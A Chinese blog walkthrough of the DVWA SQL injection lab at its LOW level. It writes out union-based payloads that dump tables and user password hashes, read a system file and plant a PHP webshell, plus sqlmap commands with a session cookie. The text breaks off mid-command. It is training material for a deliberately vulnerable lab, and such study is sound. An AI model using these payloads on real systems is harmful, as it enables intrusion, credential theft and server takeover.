DVWA通关--SQL注入(SQL Injection)

目录

LOW

通关步骤

一、手工注入

二、sqlmap注入

代码分析

MEDIUM

通关步骤

方法一、手工注入

方法二、sqlmap注入

代码分析

HIGH

通关步骤

方法一、手工注入

方法二、sqlmap注入

代码分析

IMPOSSIBLE

代码分析

总结

A.有回显的手工SQL注入步骤

B.sqlmap注入

C.SQL注入防御


LOW

通关步骤

一、手工注入

1、找闭合

输入1'    报错

输入1'',不报错,说明闭合是单引号

2、确定列数

输入1' order by 2#,返回正确结果

输入1' order by 3#,报错,说明只有两列

3、爆库

输入1' union select 1,database()#

得到库名dvwa

4、爆表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#     (0x64767761是dvwa的ascii码)

得到表guestbook和users,猜测用户名和密码在users中

插一句题外话,这一步的时候一开始遇到了下图这样的报错。询问网络,网络给了我这个链接,sql注入时union出错(Illegal mix of collations for operation UNION),按照这个修改了dvwa数据库users表的字段字符规则就好了。

正常视图Ctrl+D可以进入修改字段字符规则的视图。

5、爆列

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

我用navicat看了一下,dvwa的users表没有这么多列,我怀疑可能是别的数据库里面也有叫users的表,把那些表的列也打出来了。所以这边还得加个数据库名的限制

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

或者1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#

用户名和密码的列名应该分别是user和password

6、得到数据库内容:

输入1' union select group_concat(user),group_concat(password) from users#

得到5个用户:admin,gordonb,1337,pablo,smithy

5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

7、读文件

输入1' union select 1,load_file('C:/Windows/win.ini')#

8、写webshell

输入1' union select 1,'<?php assert($_POST[a]);?>' into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

或者1' union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#

一开始报错

询问了互联网之后找到了解决方法,如下图这样在mysql配置文件中增加一行secure_file_priv=

这就表示不限制mysql写入文件的目录了

再输入上述payload,虽然有报错,但是服务器上一看,webshell已经写好了。

如果想要确认webshell确实写入了,可以再次输入payload,报错消失或者报错消息提示文件已存在,说明webshell写入成功。

服务器上写入的webshell

二、sqlmap注入

1、找注入点

命令行输入以下命令,得到注入点和payload

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"

注意一定要用双引号,url不用引号或者用单引号的时候,会报如下错误。如果cookie不用双引号会跳转到登录页面:不用引号会识别不到cookie的设置,用单引号的时候会问要不要合并网站新提供的cookie和sqlmap设置的cookie。

2、爆库

命令行输入以下命令,得到所有可访问的数据库

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -dbs

命令行输入以下命令,得到当前数据库

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --current-db

3、爆表

命令行输入以下命令,得到数据库dvwa的所有表

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --tables -D dvwa

当然,如果不用-D指定数据库,得到的将是所有可访问的数据库的所有表

4、爆列

命令行输入以下命令,得到数据库dvwa表users的所有列

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --columns -D dvwa -T users

5、得到用户名和密码

命令行输入以下命令,得到user和password字段的值

python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dump -D dvwa -T users -C "user,password"

哇哦,直接识别出密码是md5,并且解密了呢

6、写马

方法一、--os-shell

(1)命令行输入以下命令,进入sql-shell

python sqlmap.p

评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值